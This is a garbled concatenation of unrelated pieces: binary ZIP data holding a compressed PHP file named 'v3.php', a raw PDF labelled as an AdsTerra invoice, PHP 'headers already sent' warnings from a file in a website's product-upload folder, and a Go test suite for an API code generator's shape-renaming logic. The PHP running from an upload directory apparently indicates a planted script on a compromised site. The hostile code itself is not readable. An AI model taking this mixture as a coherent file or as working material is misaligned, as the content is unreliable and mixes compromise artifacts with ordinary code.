PK���ȼRY��������€��� �v3.phpUT �øŽg‰gñ“gux �õ��õ��½T]kÛ0}߯pEhìâÙM7X‰çv%”v0֐µ{)Aå:6S$!ÉMJèߕ?R÷!>lO¶tÏ=ç~êë¥*”—W‚ÙR OÃhþÀXl5ØJ ÿñ¾¹K^•æi‡#ëLÇÏ_ ÒËõçX²èY[:ŽÇFY[  ÿD. çI™û…Mi¬ñ;ª¡AO+$£–x™ƒ Øîü¿±ŒsZÐÔQô ]+ÊíüÓ:‚ãã½ú¶%åºb¨{¦¤Ó1@V¤ûBëSúA²Ö§ ‘0|5Ì­Ä[«+èUsƒ ôˆh2àr‡z_¥(Ùv§ÈĂï§EÖý‰ÆypBS¯·8Y­è,eRX¨Ö¡’œqéF²;¿¼?Ø?Lš6` dšikR•¡™âÑo†e«ƒi´áŽáqXHc‡óðü4€ÖBÖÌ%ütÚ$š+T”•MÉÍõ½G¢ž¯Êl1œGÄ»½¿ŸÆ£h¤I6JÉ-òŽß©ˆôP)Ô9½‰+‘Κ¯uiÁi‡ˆ‰i0J ép˜¬‹’ƒ”ƒlÂÃø:s”æØ�S{ŽÎαÐ]å÷:y°Q¿>©å{x<ŽæïíNCþÑ.Mf?¨«2ý}=ûõýî'=£§ÿu•Ü(—¾IIa­"éþ@¶�¿ä9?^-qìÇÞôvŠeÈc ðlacã®xèÄ'®âd¶ çˆSEæódP/ÍÆv{Ô)Ó ?>…V¼—óÞÇlŸÒMó¤®ðdM·ÀyƱϝÚÛTÒ´6[xʸO./p~["M[`…ôÈõìn6‹Hòâ]^|ø PKýBvây��€��PK���ȼRY��������°���� �__MACOSX/._v3.phpUT �øŽg‰gþ“gux �õ��õ��c`cg`b`ðMLVðVˆP€'qƒøˆŽ!!AP&HÇ %PDF-1.7 1 0 obj << /Type /Catalog /Outlines 2 0 R /Pages 3 0 R >> endobj 2 0 obj << /Type /Outlines /Count 0 >> endobj 3 0 obj << /Type /Pages /Kids [6 0 R ] /Count 1 /Resources << /ProcSet 4 0 R /Font << /F1 8 0 R /F2 9 0 R >> >> /MediaBox [0.000 0.000 595.280 841.890] >> endobj 4 0 obj [/PDF /Text ] endobj 5 0 obj << /Producer (���d�o�m�p�d�f� �2�.�0�.�8� �+� �C�P�D�F) /CreationDate (D:20241129143806+00'00') /ModDate (D:20241129143806+00'00') /Title (���A�d�s�T�e�r�r�a�.�c�o�m� �i�n�v�o�i�c�e) >> endobj 6 0 obj << /Type /Page /MediaBox [0.000 0.000 595.280 841.890] /Parent 3 0 R /Contents 7 0 R >> endobj 7 0 obj << /Filter /FlateDecode /Length 904 >> stream x���]o�J���+F�ͩ����su\ �08=ʩzရ���lS��lc� "Ց� ���wޙ�%�R�DS��� �OI�a`� �Q�f��5����_���םO�`�7�_FA���D�Џ.j�a=�j����>��n���R+�P��l�rH�{0��w��0��=W�2D ����G���I�>�_B3ed�H�yJ�G>/��ywy�fk��%�$�2.��d_�h����&)b0��"[\B��*_.��Y� ��<�2���fC�YQ&y�i�tQ�"xj����+���l�����'�i"�,�ҔH�AK��9��C���&Oa�Q � jɭ��� �p _���E�ie9�ƃ%H&��,`rDxS�ޔ!�(�X!v ��]{ݛx�e�`�p�&��'�q�9 F�i���W1in��F�O�����Zs��[gQT�؉����}��q^upLɪ:B"��؝�����*Tiu(S�r]��s�.��s9n�N!K!L�M�?�*[��N�8��c��ۯ�b�� ��� �YZ���SR3�n�����lPN��P�;��^�]�!'�z-���ӊ���/��껣��4�l(M�E�QL��X ��~���G��M|�����*��~�;/=N4�-|y�`�i�\�e�T�<���L��G}�"В�J^���q��"X�?(V�ߣXۆ{��H[����P�� �c���kc�Z�9v�����? �a��R�h|��^�k�D4W���?Iӊ�]<��4�)$wdat���~�����������|�L��x�p|N�*��E� �/4�Qpi�x.>��d����,M�y|4^�Ż��8S/޾���uQe���D�y� ��ͧH�����j�wX � �&z� endstream endobj 8 0 obj << /Type /Font /Subtype /Type1 /Name /F1 /BaseFont /Helvetica /Encoding /WinAnsiEncoding >> endobj 9 0 obj << /Type /Font /Subtype /Type1 /Name /F2 /BaseFont /Helvetica-Bold /Encoding /WinAnsiEncoding >> endobj xref 0 10 0000000000 65535 f 0000000009 00000 n 0000000074 00000 n 0000000120 00000 n 0000000284 00000 n 0000000313 00000 n 0000000514 00000 n 0000000617 00000 n 0000001593 00000 n 0000001700 00000 n trailer << /Size 10 /Root 1 0 R /Info 5 0 R /ID[] >> startxref 1812 %%EOF
Warning: Cannot modify header information - headers already sent by (output started at /home/u866776246/domains/wisatalogung.com/public_html/uploads/produk/1775157541_x.php:1) in /home/u866776246/domains/wisatalogung.com/public_html/uploads/produk/1775157541_x.php on line 128

Warning: Cannot modify header information - headers already sent by (output started at /home/u866776246/domains/wisatalogung.com/public_html/uploads/produk/1775157541_x.php:1) in /home/u866776246/domains/wisatalogung.com/public_html/uploads/produk/1775157541_x.php on line 129

Warning: Cannot modify header information - headers already sent by (output started at /home/u866776246/domains/wisatalogung.com/public_html/uploads/produk/1775157541_x.php:1) in /home/u866776246/domains/wisatalogung.com/public_html/uploads/produk/1775157541_x.php on line 130

Warning: Cannot modify header information - headers already sent by (output started at /home/u866776246/domains/wisatalogung.com/public_html/uploads/produk/1775157541_x.php:1) in /home/u866776246/domains/wisatalogung.com/public_html/uploads/produk/1775157541_x.php on line 131
//go:build go1.8 && codegen // +build go1.8,codegen package api import ( "reflect" "strconv" "strings" "testing" ) func TestUniqueInputAndOutputs(t *testing.T) { const serviceName = "FooService" shamelist[serviceName] = map[string]persistAPIType{ "OpOutputNoRename": { output: true, }, "OpInputNoRename": { input: true, }, "OpBothNoRename": { input: true, output: true, }, } cases := [][]struct { expectedInput string expectedOutput string operation string input string output string }{ { { expectedInput: "FooOperationInput", expectedOutput: "FooOperationOutput", operation: "FooOperation", input: "FooInputShape", output: "FooOutputShape", }, { expectedInput: "BarOperationInput", expectedOutput: "BarOperationOutput", operation: "BarOperation", input: "FooInputShape", output: "FooOutputShape", }, }, { { expectedInput: "FooOperationInput", expectedOutput: "FooOperationOutput", operation: "FooOperation", input: "FooInputShape", output: "FooOutputShape", }, { expectedInput: "OpOutputNoRenameInput", expectedOutput: "OpOutputNoRenameOutputShape", operation: "OpOutputNoRename", input: "OpOutputNoRenameInputShape", output: "OpOutputNoRenameOutputShape", }, }, { { expectedInput: "FooOperationInput", expectedOutput: "FooOperationOutput", operation: "FooOperation", input: "FooInputShape", output: "FooOutputShape", }, { expectedInput: "OpInputNoRenameInputShape", expectedOutput: "OpInputNoRenameOutput", operation: "OpInputNoRename", input: "OpInputNoRenameInputShape", output: "OpInputNoRenameOutputShape", }, }, { { expectedInput: "FooOperationInput", expectedOutput: "FooOperationOutput", operation: "FooOperation", input: "FooInputShape", output: "FooOutputShape", }, { expectedInput: "OpInputNoRenameInputShape", expectedOutput: "OpInputNoRenameOutputShape", operation: "OpBothNoRename", input: "OpInputNoRenameInputShape", output: "OpInputNoRenameOutputShape", }, }, } for i, c := range cases { t.Run(strconv.Itoa(i), func(t *testing.T) { a := &API{ name: serviceName, Operations: map[string]*Operation{}, Shapes: map[string]*Shape{}, } expected := map[string][]string{} for _, op := range c { o := &Operation{ Name: op.operation, ExportedName: op.operation, InputRef: ShapeRef{ API: a, ShapeName: op.input, Shape: &Shape{ API: a, ShapeName: op.input, }, }, OutputRef: ShapeRef{ API: a, ShapeName: op.output, Shape: &Shape{ API: a, ShapeName: op.output, }, }, } o.InputRef.Shape.refs = append(o.InputRef.Shape.refs, &o.InputRef) o.OutputRef.Shape.refs = append(o.OutputRef.Shape.refs, &o.OutputRef) a.Operations[o.Name] = o a.Shapes[op.input] = o.InputRef.Shape a.Shapes[op.output] = o.OutputRef.Shape expected[op.operation] = append(expected[op.operation], op.expectedInput, op.expectedOutput, ) } a.fixStutterNames() a.applyShapeNameAliases() a.createInputOutputShapes() for k, v := range expected { if e, ac := v[0], a.Operations[k].InputRef.Shape.ShapeName; e != ac { t.Errorf("Error %s case: Expected %q, but received %q", k, e, ac) } if e, ac := v[1], a.Operations[k].OutputRef.Shape.ShapeName; e != ac { t.Errorf("Error %s case: Expected %q, but received %q", k, e, ac) } } }) } } func TestCollidingFields(t *testing.T) { cases := map[string]struct { MemberRefs map[string]*ShapeRef Expect []string IsException bool }{ "SimpleMembers": { MemberRefs: map[string]*ShapeRef{ "Code": {}, "Foo": {}, "GoString": {}, "Message": {}, "OrigErr": {}, "SetFoo": {}, "String": {}, "Validate": {}, }, Expect: []string{ "Code", "Foo", "GoString_", "Message", "OrigErr", "SetFoo_", "String_", "Validate_", }, }, "ExceptionShape": { IsException: true, MemberRefs: map[string]*ShapeRef{ "Code": {}, "Message": {}, "OrigErr": {}, "Other": {}, "String": {}, }, Expect: []string{ "Code_", "Message_", "OrigErr_", "Other", "String_", }, }, } for k, c := range cases { t.Run(k, func(t *testing.T) { a := &API{ Shapes: map[string]*Shape{ "shapename": { ShapeName: k, MemberRefs: c.MemberRefs, Exception: c.IsException, }, }, } a.renameCollidingFields() for i, name := range a.Shapes["shapename"].MemberNames() { if e, a := c.Expect[i], name; e != a { t.Errorf("expect %v, got %v", e, a) } } }) } } func TestCollidingFields_MaintainOriginalName(t *testing.T) { cases := map[string]struct { MemberRefs map[string]*ShapeRef Expect map[string]*ShapeRef }{ "NoLocationName": { MemberRefs: map[string]*ShapeRef{ "String": {}, }, Expect: map[string]*ShapeRef{ "String_": {LocationName: "String"}, }, }, "ExitingLocationName": { MemberRefs: map[string]*ShapeRef{ "String": {LocationName: "OtherName"}, }, Expect: map[string]*ShapeRef{ "String_": {LocationName: "OtherName"}, }, }, } for k, c := range cases { t.Run(k, func(t *testing.T) { a := &API{ Shapes: map[string]*Shape{ "shapename": { ShapeName: k, MemberRefs: c.MemberRefs, }, }, } a.renameCollidingFields() if e, a := c.Expect, a.Shapes["shapename"].MemberRefs; !reflect.DeepEqual(e, a) { t.Errorf("expect %v, got %v", e, a) } }) } } func TestCreateInputOutputShapes(t *testing.T) { meta := Metadata{ APIVersion: "0000-00-00", EndpointPrefix: "rpcservice", JSONVersion: "1.1", Protocol: "json", ServiceAbbreviation: "RPCService", ServiceFullName: "RPC Service", ServiceID: "RPCService", SignatureVersion: "v4", TargetPrefix: "RPCService_00000000", UID: "RPCService-0000-00-00", } type OpExpect struct { Input string Output string } cases := map[string]struct { API *API ExpectOps map[string]OpExpect ExpectShapes []string }{ "allRename": { API: &API{Metadata: meta, Operations: map[string]*Operation{ "FirstOp": { Name: "FirstOp", InputRef: ShapeRef{ShapeName: "FirstOpRequest"}, OutputRef: ShapeRef{ShapeName: "FirstOpResponse"}, }, "SecondOp": { Name: "SecondOp", InputRef: ShapeRef{ShapeName: "SecondOpRequest"}, OutputRef: ShapeRef{ShapeName: "SecondOpResponse"}, }, }, Shapes: map[string]*Shape{ "FirstOpRequest": { ShapeName: "FirstOpRequest", Type: "structure", }, "FirstOpResponse": { ShapeName: "FirstOpResponse", Type: "structure", }, "SecondOpRequest": { ShapeName: "SecondOpRequest", Type: "structure", }, "SecondOpResponse": { ShapeName: "SecondOpResponse", Type: "structure", }, }, }, ExpectOps: map[string]OpExpect{ "FirstOp": { Input: "FirstOpInput", Output: "FirstOpOutput", }, "SecondOp": { Input: "SecondOpInput", Output: "SecondOpOutput", }, }, ExpectShapes: []string{ "FirstOpInput", "FirstOpOutput", "SecondOpInput", "SecondOpOutput", }, }, "noRename": { API: &API{Metadata: meta, Operations: map[string]*Operation{ "FirstOp": { Name: "FirstOp", InputRef: ShapeRef{ShapeName: "FirstOpInput"}, OutputRef: ShapeRef{ShapeName: "FirstOpOutput"}, }, "SecondOp": { Name: "SecondOp", InputRef: ShapeRef{ShapeName: "SecondOpInput"}, OutputRef: ShapeRef{ShapeName: "SecondOpOutput"}, }, }, Shapes: map[string]*Shape{ "FirstOpInput": { ShapeName: "FirstOpInput", Type: "structure", }, "FirstOpOutput": { ShapeName: "FirstOpOutput", Type: "structure", }, "SecondOpInput": { ShapeName: "SecondOpInput", Type: "structure", }, "SecondOpOutput": { ShapeName: "SecondOpOutput", Type: "structure", }, }, }, ExpectOps: map[string]OpExpect{ "FirstOp": { Input: "FirstOpInput", Output: "FirstOpOutput", }, "SecondOp": { Input: "SecondOpInput", Output: "SecondOpOutput", }, }, ExpectShapes: []string{ "FirstOpInput", "FirstOpOutput", "SecondOpInput", "SecondOpOutput", }, }, "renameWithNested": { API: &API{Metadata: meta, Operations: map[string]*Operation{ "FirstOp": { Name: "FirstOp", InputRef: ShapeRef{ShapeName: "FirstOpWriteMe"}, OutputRef: ShapeRef{ShapeName: "FirstOpReadMe"}, }, "SecondOp": { Name: "SecondOp", InputRef: ShapeRef{ShapeName: "SecondOpWriteMe"}, OutputRef: ShapeRef{ShapeName: "SecondOpReadMe"}, }, }, Shapes: map[string]*Shape{ "FirstOpWriteMe": { ShapeName: "FirstOpWriteMe", Type: "structure", MemberRefs: map[string]*ShapeRef{ "Foo": {ShapeName: "String"}, }, }, "FirstOpReadMe": { ShapeName: "FirstOpReadMe", Type: "structure", MemberRefs: map[string]*ShapeRef{ "Bar": {ShapeName: "Struct"}, "Once": {ShapeName: "Once"}, }, }, "SecondOpWriteMe": { ShapeName: "SecondOpWriteMe", Type: "structure", }, "SecondOpReadMe": { ShapeName: "SecondOpReadMe", Type: "structure", }, "Once": { ShapeName: "Once", Type: "string", }, "String": { ShapeName: "String", Type: "string", }, "Struct": { ShapeName: "Struct", Type: "structure", MemberRefs: map[string]*ShapeRef{ "Foo": {ShapeName: "String"}, "Bar": {ShapeName: "Struct"}, }, }, }, }, ExpectOps: map[string]OpExpect{ "FirstOp": { Input: "FirstOpInput", Output: "FirstOpOutput", }, "SecondOp": { Input: "SecondOpInput", Output: "SecondOpOutput", }, }, ExpectShapes: []string{ "FirstOpInput", "FirstOpOutput", "Once", "SecondOpInput", "SecondOpOutput", "String", "Struct", }, }, "aliasedInput": { API: &API{Metadata: meta, Operations: map[string]*Operation{ "FirstOp": { Name: "FirstOp", InputRef: ShapeRef{ShapeName: "FirstOpRequest"}, OutputRef: ShapeRef{ShapeName: "FirstOpResponse"}, }, }, Shapes: map[string]*Shape{ "FirstOpRequest": { ShapeName: "FirstOpRequest", Type: "structure", AliasedShapeName: true, }, "FirstOpResponse": { ShapeName: "FirstOpResponse", Type: "structure", }, }, }, ExpectOps: map[string]OpExpect{ "FirstOp": { Input: "FirstOpRequest", Output: "FirstOpOutput", }, }, ExpectShapes: []string{ "FirstOpOutput", "FirstOpRequest", }, }, "aliasedOutput": { API: &API{ Metadata: meta, Operations: map[string]*Operation{ "FirstOp": { Name: "FirstOp", InputRef: ShapeRef{ShapeName: "FirstOpRequest"}, OutputRef: ShapeRef{ShapeName: "FirstOpResponse"}, }, }, Shapes: map[string]*Shape{ "FirstOpRequest": { ShapeName: "FirstOpRequest", Type: "structure", }, "FirstOpResponse": { ShapeName: "FirstOpResponse", Type: "structure", AliasedShapeName: true, }, }, }, ExpectOps: map[string]OpExpect{ "FirstOp": { Input: "FirstOpInput", Output: "FirstOpResponse", }, }, ExpectShapes: []string{ "FirstOpInput", "FirstOpResponse", }, }, "resusedShape": { API: &API{ Metadata: meta, Operations: map[string]*Operation{ "FirstOp": { Name: "FirstOp", InputRef: ShapeRef{ShapeName: "FirstOpRequest"}, OutputRef: ShapeRef{ShapeName: "ReusedShape"}, }, }, Shapes: map[string]*Shape{ "FirstOpRequest": { ShapeName: "FirstOpRequest", Type: "structure", MemberRefs: map[string]*ShapeRef{ "Foo": {ShapeName: "ReusedShape"}, "ooF": {ShapeName: "ReusedShapeList"}, }, }, "ReusedShape": { ShapeName: "ReusedShape", Type: "structure", }, "ReusedShapeList": { ShapeName: "ReusedShapeList", Type: "list", MemberRef: ShapeRef{ShapeName: "ReusedShape"}, }, }, }, ExpectOps: map[string]OpExpect{ "FirstOp": { Input: "FirstOpInput", Output: "FirstOpOutput", }, }, ExpectShapes: []string{ "FirstOpInput", "FirstOpOutput", "ReusedShape", "ReusedShapeList", }, }, "aliasedResusedShape": { API: &API{ Metadata: meta, Operations: map[string]*Operation{ "FirstOp": { Name: "FirstOp", InputRef: ShapeRef{ShapeName: "FirstOpRequest"}, OutputRef: ShapeRef{ShapeName: "ReusedShape"}, }, }, Shapes: map[string]*Shape{ "FirstOpRequest": { ShapeName: "FirstOpRequest", Type: "structure", MemberRefs: map[string]*ShapeRef{ "Foo": {ShapeName: "ReusedShape"}, "ooF": {ShapeName: "ReusedShapeList"}, }, }, "ReusedShape": { ShapeName: "ReusedShape", Type: "structure", AliasedShapeName: true, }, "ReusedShapeList": { ShapeName: "ReusedShapeList", Type: "list", MemberRef: ShapeRef{ShapeName: "ReusedShape"}, }, }, }, ExpectOps: map[string]OpExpect{ "FirstOp": { Input: "FirstOpInput", Output: "ReusedShape", }, }, ExpectShapes: []string{ "FirstOpInput", "ReusedShape", "ReusedShapeList", }, }, "unsetInput": { API: &API{Metadata: meta, Operations: map[string]*Operation{ "FirstOp": { Name: "FirstOp", OutputRef: ShapeRef{ShapeName: "FirstOpResponse"}, }, }, Shapes: map[string]*Shape{ "FirstOpResponse": { ShapeName: "FirstOpResponse", Type: "structure", }, }, }, ExpectOps: map[string]OpExpect{ "FirstOp": { Input: "FirstOpInput", Output: "FirstOpOutput", }, }, ExpectShapes: []string{ "FirstOpInput", "FirstOpOutput", }, }, "unsetOutput": { API: &API{Metadata: meta, Operations: map[string]*Operation{ "FirstOp": { Name: "FirstOp", InputRef: ShapeRef{ShapeName: "FirstOpRequest"}, }, }, Shapes: map[string]*Shape{ "FirstOpRequest": { ShapeName: "FirstOpRequest", Type: "structure", }, }, }, ExpectOps: map[string]OpExpect{ "FirstOp": { Input: "FirstOpInput", Output: "FirstOpOutput", }, }, ExpectShapes: []string{ "FirstOpInput", "FirstOpOutput", }, }, "collidingShape": { API: &API{ name: "APIClientName", Metadata: meta, Operations: map[string]*Operation{ "FirstOp": { Name: "FirstOp", InputRef: ShapeRef{ShapeName: "FirstOpRequest"}, }, }, Shapes: map[string]*Shape{ "FirstOpRequest": { ShapeName: "FirstOpRequest", Type: "structure", MemberRefs: map[string]*ShapeRef{ "Foo": {ShapeName: "APIClientName"}, "ooF": {ShapeName: "APIClientNameList"}, }, }, "APIClientName": { ShapeName: "APIClientName", Type: "structure", }, "APIClientNameList": { ShapeName: "APIClientNameList", Type: "list", MemberRef: ShapeRef{ShapeName: "APIClientName"}, }, }, }, ExpectOps: map[string]OpExpect{ "FirstOp": { Input: "FirstOpInput", Output: "FirstOpOutput", }, }, ExpectShapes: []string{ "APIClientNameList", "APIClientName_", "FirstOpInput", "FirstOpOutput", }, }, "MemberShapesWithInputAsSuffix": { API: &API{ name: "APIClientName", Metadata: meta, Operations: map[string]*Operation{ "FirstOp": { Name: "FirstOp", InputRef: ShapeRef{ShapeName: "FirstOpRequest"}, }, }, Shapes: map[string]*Shape{ "FirstOpRequest": { ShapeName: "FirstOpRequest", Type: "structure", MemberRefs: map[string]*ShapeRef{ "Foo": {ShapeName: "APIClientName"}, "ooF": {ShapeName: "FirstOpInput"}, }, }, "APIClientName": { ShapeName: "APIClientName", Type: "structure", }, "FirstOpInput": { ShapeName: "FirstOpInput", Type: "list", MemberRef: ShapeRef{ ShapeName: "APIClientName", }, }, }, }, ExpectOps: map[string]OpExpect{ "FirstOp": { Input: "FirstOpInput", Output: "FirstOpOutput", }, }, ExpectShapes: []string{ "APIClientName_", "FirstOpInput", "FirstOpInput_", "FirstOpOutput", }, }, "MemberShapesWithOutputAsSuffix": { API: &API{ name: "APIClientName", Metadata: meta, Operations: map[string]*Operation{ "FirstOp": { Name: "FirstOp", OutputRef: ShapeRef{ShapeName: "FirstOpResponse"}, }, }, Shapes: map[string]*Shape{ "FirstOpResponse": { ShapeName: "FirstOpResponse", Type: "structure", MemberRefs: map[string]*ShapeRef{ "Foo": {ShapeName: "APIClientName"}, "ooF": {ShapeName: "FirstOpOutput"}, }, }, "APIClientName": { ShapeName: "APIClientName", Type: "structure", }, "FirstOpOutput": { ShapeName: "FirstOpOutput", Type: "list", MemberRef: ShapeRef{ShapeName: "APIClientName"}, }, }, }, ExpectOps: map[string]OpExpect{ "FirstOp": { Input: "FirstOpInput", Output: "FirstOpOutput", }, }, ExpectShapes: []string{ "APIClientName_", "FirstOpInput", "FirstOpOutput", "FirstOpOutput_", }, }, } for name, c := range cases { t.Run(name, func(t *testing.T) { a := c.API a.Setup() for opName, op := range a.Operations { if e, a := op.InputRef.ShapeName, op.InputRef.Shape.ShapeName; e != a { t.Errorf("expect input ref and shape names to match, %s, %s", e, a) } if e, a := c.ExpectOps[opName].Input, op.InputRef.ShapeName; e != a { t.Errorf("expect %v input shape, got %v", e, a) } if e, a := op.OutputRef.ShapeName, op.OutputRef.Shape.ShapeName; e != a { t.Errorf("expect output ref and shape names to match, %s, %s", e, a) } if e, a := c.ExpectOps[opName].Output, op.OutputRef.ShapeName; e != a { t.Errorf("expect %v output shape, got %v", e, a) } } if e, a := c.ExpectShapes, a.ShapeNames(); !reflect.DeepEqual(e, a) { t.Errorf("expect %v shapes, got %v", e, a) } }) } } func TestValidateShapeNameMethod(t *testing.T) { cases := map[string]struct { inputShapeName string shapeType string expectedShapeName string expectedError string }{ "empty case": { inputShapeName: "", shapeType: "structure", expectedShapeName: "", expectedError: "invalid shape name found", }, "No rename": { inputShapeName: "Sample123Shape", shapeType: "structure", expectedShapeName: "Sample123Shape", }, "starts with underscores": { inputShapeName: "__Sample123Shape", shapeType: "structure", expectedShapeName: "Sample123Shape", }, "Contains underscores": { inputShapeName: "__sample_123_shape__", shapeType: "structure", expectedShapeName: "Sample123Shape", }, "Starts with numeric character": { inputShapeName: "123__sampleShape", shapeType: "structure", expectedShapeName: "", expectedError: "invalid shape name found", }, "Starts with non alphabetic or non underscore character": { inputShapeName: "&&SampleShape", shapeType: "structure", expectedShapeName: "", expectedError: "invalid shape name found", }, "Contains non Alphanumeric or non underscore character": { inputShapeName: "Sample&__Shape", shapeType: "structure", expectedShapeName: "", expectedError: "invalid shape name found", }, "Renamed Shape already exists": { inputShapeName: "__sample_shape", shapeType: "structure", expectedShapeName: "", expectedError: "rename would result in shape name collision", }, "empty case for enums shape type": { inputShapeName: "", shapeType: "string", expectedShapeName: "", expectedError: "invalid shape name found", }, "No rename for enums shape type": { inputShapeName: "Sample123Shape", shapeType: "string", expectedShapeName: "Sample123Shape", }, "starts with underscores for enums shape type": { inputShapeName: "__Sample123Shape", shapeType: "string", expectedShapeName: "Sample123Shape", }, "Contains underscores for enums shape type": { inputShapeName: "__sample_123_shape__", shapeType: "string", expectedShapeName: "Sample123Shape", }, "Starts with numeric character for enums shape type": { inputShapeName: "123__sampleShape", shapeType: "string", expectedShapeName: "", expectedError: "invalid shape name found", }, "Starts with non alphabetic or non underscore character for enums shape type": { inputShapeName: "&&SampleShape", shapeType: "string", expectedShapeName: "", expectedError: "invalid shape name found", }, "Contains non Alphanumeric or non underscore character for enums shape type": { inputShapeName: "Sample&__Shape", shapeType: "string", expectedShapeName: "", expectedError: "invalid shape name found", }, "Renamed Shape already exists for enums shape type": { inputShapeName: "__sample_shape", shapeType: "string", expectedShapeName: "", expectedError: "rename would result in shape name collision", }, } for name, c := range cases { operation := "FooOperation" t.Run(name, func(t *testing.T) { a := &API{ Operations: map[string]*Operation{}, Shapes: map[string]*Shape{}, } // add another shape with name SampleShape to check for collision a.Shapes["SampleShape"] = &Shape{ShapeName: "SampleShape"} o := &Operation{ Name: operation, ExportedName: operation, InputRef: ShapeRef{ API: a, ShapeName: c.inputShapeName, Shape: &Shape{ API: a, ShapeName: c.inputShapeName, Type: c.shapeType, Enum: []string{"x"}, }, }, } o.InputRef.Shape.refs = append(o.InputRef.Shape.refs, &o.InputRef) a.Operations[o.Name] = o a.Shapes[c.inputShapeName] = o.InputRef.Shape err := a.validateShapeNames() if err != nil || c.expectedError != "" { if err == nil { t.Fatalf("Received no error, expected error with log: \n \t %v ", c.expectedError) } if c.expectedError == "" { t.Fatalf("Expected no error, got %v", err.Error()) } if e, a := err.Error(), c.expectedError; !strings.Contains(e, a) { t.Fatalf("Expected to receive error containing %v, got %v", e, a) } return } if e, a := c.expectedShapeName, o.InputRef.Shape.ShapeName; e != a { t.Fatalf("Expected shape name to be %v, got %v", e, a) } }) } }